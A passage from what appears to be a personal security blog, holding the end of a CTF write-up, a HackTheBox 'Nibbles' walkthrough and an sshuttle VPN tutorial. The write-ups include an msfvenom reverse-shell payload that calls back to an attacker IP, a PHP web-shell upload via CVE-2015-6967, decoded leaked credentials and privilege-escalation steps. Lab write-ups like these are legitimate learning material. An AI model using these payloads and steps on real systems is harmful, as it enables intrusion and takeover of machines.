Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-17-13.txt

[18:17:13] Starting:
[18:17:14] 403 -  312B  - /%2e%2e//google.com
[18:17:18] 403 -    2KB - /Trace.axd
[18:17:19] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd

Task Completed

Port 49663 doesn't lead to interesting results either, as the few additional pages can't be exploited for anything meaningful:

Target: http://10.10.32.152:49663/

Output File: /home/ovelny/repos/dirsearch/reports/10.10.32.152/_21-03-01_18-19-38.txt

[18:19:38] Starting:
[18:19:39] 403 -  312B  - /%2e%2e//google.com
[18:19:54] 403 -    2KB - /Trace.axd
[18:19:55] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd
[18:20:07] 200 -    0B  - /aspnet_client/
[18:20:07] 301 -  163B  - /aspnet_client  ->  http://10.10.32.152:49663/aspnet_client/

Task Completed

As we saw port 445 being open, samba naturally comes next for enumeration.

SMB enumeration

At first, nmap scripts targeting SMB protocols seem to lead us to something juicy: perhaps this target is vulnerable to EternalBlue!

nmap -p 445 --script smb-protocols 10.10.32.152
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 18:28 CET
Nmap scan report for 10.10.32.152
Host is up (0.044s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but default]
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

That would be too good to be true right? Well, that's because it is. SMB1 is disabled:

smbclient -N -L \\\\10.10.32.152

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        nt4wrksv        Disk
SMB1 disabled -- no workgroup available

However, the nt4wrksv share is quite unusual and seem to be worth exploring.

Relevant findings for exploitation

So far, our main lead is exploiting samba and maybe find some pieces of information that might lead us to a reverse shell.

Exploitation

Since SMB1 is disabled, EternalBlue is not even worth exploring for this target. Let's connect to nt4wrksv with an anonymous connection:

smbclient //10.10.143.157/nt4wrksv
Enter WORKGROUP\ovelny's password:
Try "help" to get a list of possible commands.
smb: \>

We quickly get our eyes on a passwords.txt file, immediately accessible on this share with more passwords.txt

[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Base64 encoded... Easy fix, let's decode those strings:

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P@$$W0rD!123
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$

Connecting to SMB with those credentials works, but the permissions for those accounts are similar to anonymous connections. Disappointing. Bill and Bob shall not help us any further, as this seems to be another red herring.

smbmap -u Bob -p '!P@$$W0rD!123' -H 10.10.143.157
[+] IP: 10.10.143.157:445       Name: 10.10.143.157
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        nt4wrksv                                                READ, WRITE

After some additional attempts on SMB, I gave up to focus on web services yet again. Surely there has to be something more about them...

And there is! Turns out all of nt4wrksv contents are directly accessible through HTTP on port 49663. We might be able to get a reverse shell exactly the same way.

Since those web services are all powered by IIS servers, .aspx ought to be our best option as payload output:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.186.16 LPORT=4444 -f aspx -o hacky.aspx

We then upload hacky.aspx to the nt4wrksv share with get hacky.aspx in SMB and execute the payload through HTTP (http://target-ip:49663/nt4wrksv/hacky.aspx), instantly granting us a shell to our target and access to the output of user.txt.

Enumerating privileges on our current user instantly shows us how we will escalate our privileges to SYSTEM, since having SeImpersonatePrivilege enabled instantly makes this box vulnerable to PrintSpoofer64 (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/):

Privilege escalation

Downloading PrintSpoofer64.exe was instantly doable on target's default location.

As always, making a quick and dirty HTTP server on our machine with sudo python3 -m http.server 80 works wonder.

All that is left for us is to run the executable with -i -c powershell flags enabled, so we can get an interactive powershell session as SYSTEM:

Getting Root.txt output is now in our hands.

Summary

This target was a nice demonstration of rabbit holes and red herrings that might be encountered during pentests. Getting clues that are either too obvious or too intricate is often a good sign that something dubious might be happening behind the scenes.

HackTheBox writeup: Nibbles

2020-04-15T00:00:00Z

Full walkthrough

As with everything, let’s start with enumeration on this target. A full nmap scan doesn't expose much with this box: only the SSH and HTTP ports are open, the latter being used by Apache.
The target's address (http://10.10.10.75) just leads to a "hello world" HTML page. By checking the source code however, we can see an HTML comment leading to another critical piece present on this target: a CMS called nibbleblog.

Browsing http://10.10.10.75/nibbleblog leads us to the homepage of the blog, which contains nothing of value. Or does it?

Pretty strange that an image would have a .php extension indeed. Searching for vulns related to nibbleblog quickly leads to a related CVE: CVE-2015-6967.

And indeed, following the mentioned URL on our target leads to something worthwhile:

We can go through all parent directories from this URL, even though they're supposed to remain private. Does it mean that other directories are exposed?
Yes, yes it does.

Let's explore. The /admin/boot/rules/ path gives us a set of rules and settings related to the CMS, one of them confirming that this version of nibbleblog is indeed absolutely vulnerable, according to all the CVEs found earlier:

Looking back to the /content directories, we can also see that the admin's username is indeed... admin.

We could fire up hydra to get access to the dashboard, but a blacklist system exists in this CMS, which would make bruteforcing worthless for us:

At this point I honestly got lost: even if the CMS' config and settings are widely exposed, there is nothing that could give us the admin's password. Which we need to make use of that CVE later on!

After browsing all the files scratching my head, I gave up and googled some write-ups: turns out the admin's password is just... nibbles.
Yeah. Sometimes it's just better to follow your instinct rather than looking for something fancy. Anyway, let’s move on...

Executing CVE-2015-6967 can easily be done with the instructions found here: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

Here are the steps to follow:

Go to http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=list and click on "install" for my image plugin.
Fill up the fields with anything you want and upload a PHP web shell instead of an image.
Ignore warning while uploading.
Go to http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php and enjoy your web shell!

For this purpose I used the following web shell, nice and simple: https://github.com/nickola/web-console

The user flag can now be reached: b02ff32bb332deba49eeaed21152c8d8.
For the root one, we're gonna need some additional privesc. Running sudo -l yields something interesting:

Our current user can run monitor.sh at the given path as sudo without any password! We just need to make that script outputs the root flag and we will be done:

mkdir -p /home/nibbler/personal/stuff
touch /home/nibbler/personal/stuff/monitor.sh
chmod +x /home/nibbler/personal/stuff/monitor.sh
echo "#!/bin/bash" > /home/nibbler/personal/stuff/monitor.sh
echo "cat /root/root.txt" >> /home/nibbler/personal/stuff/monitor.sh
cd /home/nibbler/personal/stuff/
sudo ./monitor.sh

And the root flag is now ours: b6d745c0dfb6457c55591efc898ef88c.

Easy tunneling with sshuttle

2019-10-24T00:00:00Z

Sshuttle is a genius program that allows you to tunnel all of your traffic through SSH. As a result, it can act as a VPN for any machine you can SSH to. You don't even need to be an admin of the distant server to achieve this. How amazing is that?

Here's what we want to achieve through SSH tunneling:

Easily redirect all traffic through the SSH tunnel, DNS and all UDP traffic included.
Automate even more the process with some scripting.

Here's what we want to avoid by using sshuttle:

Wasting hours configuring things on the server acting as a proxy.
Creating a new connection through nmcli rather than being tunneled automatically.
Messing things up by misconfiguring something, OpenVPN being a good example of this.

We'll still have to make a reasonably configured server for our proxy, but this will take way less time than setting up a VPN with any other tool. Let's get started, with a DigitalOcean VPS.

Setting up a DigitalOcean VPS with sane defaults

First of all, create your droplet on DigitalOcean. Even if this would work for many Linux flavors, this tutorial will use Ubuntu. Pick the latest LTS version and choose to create a $5 droplet, which will be more than enough for a proxy.

Choose to paste your SSH public key to login in the settings. A one-time password is hardly secure nor a good idea.

Once your droplet is up and online, connect with SSH:

ssh root@my-droplet-ip

First thing you should do is updating this freshly created server:

apt-get update

Then, we should work on disabling root access. Let's create a new user on this server:

adduser your-user

Give it a strong password during the creation process. Next, add this user to the sudo group:

usermod -aG sudo your-user

And while we're at it, enable UFW (uncomplicated firewall). We're gonna use it later on:

ufw enable

We wanna connect through SSH with the user we just created. Just as the same way we provided our public key during the droplet creation, we now have to repeat this process for the new user. First, switch from root to the user:

su - your-user

And then, create a .ssh folder with the appropriate permissions:

mkdir ~/.ssh
chmod 700 ~/.ssh

On your client (not the server!), run the following command to get the output of your public key:

cat ~/.ssh/id_rsa.pub

Then paste it in the following file on the server:

vim ~/.ssh/authorized_keys

Save the file and exit, and change again the permissions to restrict access to the file:

chmod 600 ~/.ssh/authorized_keys

Now return to the root user:

exit

The last step with SSH is to edit sshd_config in order to restrict the access via the created user and the corresponding public key:

vim /etc/ssh/sshd_config

Look up and change appropriately the following lines in this file. Make sure they are not commented as well (not beginning with #):

PasswordAuthentication no
PubkeyAuthentication yes
ChallengeResponseAuthentication no
PermitRootLogin no

We're almost done, but keep in mind that we have to allow incoming SSH connections with UFW:

ufw limit ssh/tcp

The limit setting here will ban any IP attempting and failing to connect repeatedly. Combined with our changes on sshd_config, this is more than enough to protect this opened port.

Last step for good measure is upgrading the system and rebooting the server:

apt-get dist-upgrade && shutdown -r now

After reboot, make sure that you cannot SSH to the server with root, and connect with the created user instead:

ssh your-user@my-droplet-ip

We're 100% done with our server, unless you're interested in the misc part at the end of this article. Let's move on to the client side.

Setting up sshuttle

Sshuttle is already available on most package managers. On archlinux, you can easily get it with yay:

yay sshuttle

Keep in mind that sshuttle doesn't tunnel UDP traffic (except DNS) by default. A bit of extra work is needed on that part with tproxy, as described in the documentation: https://sshuttle.readthedocs.io/en/stable/tproxy.html

Basically it boils down to the following steps:

Run the following command as root after booting up:

ip route add local default dev lo table 100
ip rule add fwmark 1 lookup 100
ip -6 route add local default dev lo table 100
ip -6 rule add fwmark 1 lookup 100

Run sshuttle as root with the tproxy method:

sudo SSH_AUTH_SOCK="$SSH_AUTH_SOCK" sshuttle --method=tproxy \
                                             --disable-ipv6 \
                                             --dns \
                                             --exclude your-server-ip \
                                             -r your-user@your-server-ip 0/0

That one is quite a mouthful so let's break it down:

SSH_AUTH_SOCK="$SSH_AUTH_SOCK" ensures that you can connect normally with SSH despise running sshuttle as root.
--method=tproxy is here to, well, activate the tproxy method for UDP traffic.
--disable-ipv6 is self-explanatory. Sadly, I found that my IPv6 address would leak otherwise, and I'm not sure what is causing this at the moment.
--dns is to forward all DNS requests through SSH.
--exclude your-server-ip is required when forwarding all your traffic with tproxy, to prevent sshuttle from intercepting SSH packets.
-r your-user@your-server-ip 0/0 finally, where to forward your entire traffic (represented here as 0/0).

Since IPv6 can leak even with the --disable-ipv6 command, let's disable it while using sshuttle. This can be achieved temporarily by running the following commands as root:

sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1
sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1
sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1

This is all nice and well but i don't see myself running all of this at each boot, so let's wrap everything we mentioned in a script:

#!/usr/bin/env bash

if [ "$EUID" -ne 0 ]; then
    echo "This script must be run as root. Exiting."
    exit
fi

ip route add local default dev lo table 100
ip rule add fwmark 1 lookup 100
ip -6 route add local default dev lo table 100
ip -6 rule add fwmark 1 lookup 100

sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1
sysctl -w net.ipv6.conf.lo.disable_ipv6=1

sshuttle --method=tproxy \
    --disable-ipv6 \
    --dns \
    -e "sudo -u your-user ssh" \
    --daemon \
    --pidfile=/home/your-user/sshuttle.pid \
    --exclude your-server-ip \
    -r your-user@your-server-ip 0/0

Three options have been added here:

--daemon to run sshuttle in background.
--pidfile to put a file containing shuttle's PID in a defined path. Change the latter according to your needs.

The -e flag will allow you to run the command as your main user and prompt for your SSH passphrase. This will use the right SSH pubkey to connect, even if ssh-agent isn't loaded yet and sshuttle is ran as root.

Stopping the VPN is easy: just kill the PID given in sshuttle.pid. This can be automated with the following alias, ran as root:

alias vpndown="kill '$(cat /home/your-user/sshuttle.pid)'"

You should now be all set, just by adding the previous script in your $path.

Misc: accessing the VPN when the SSH port is blocked

If you want to connect on WiFi hotspots, you might want to change the SSH port to 443 on your server as it is nearly guaranteed to be always opened, no matter how strict the WiFi's firewall is.

We have to change SSH's default port on our server:

vim /etc/ssh/sshd_config

Find and change the following line accordingly. Uncomment it if necessary:

Port 443

One thing left now is to change UFW rules on your server to open that port:

sudo ufw limit in 443/tcp

Don't forget to remove port 22 on ufw:

sudo ufw status numbered

Delete related rules with their IDs:

sudo ufw delete <rule-id-here>

Now restart the sshd service:

sudo service sshd restart

Now, the only thing left is to specify the 443 port in the sshuttle script:

-r your-user@your-server-ip:443 0/0

The VPN should now be accessible from almost everywhere.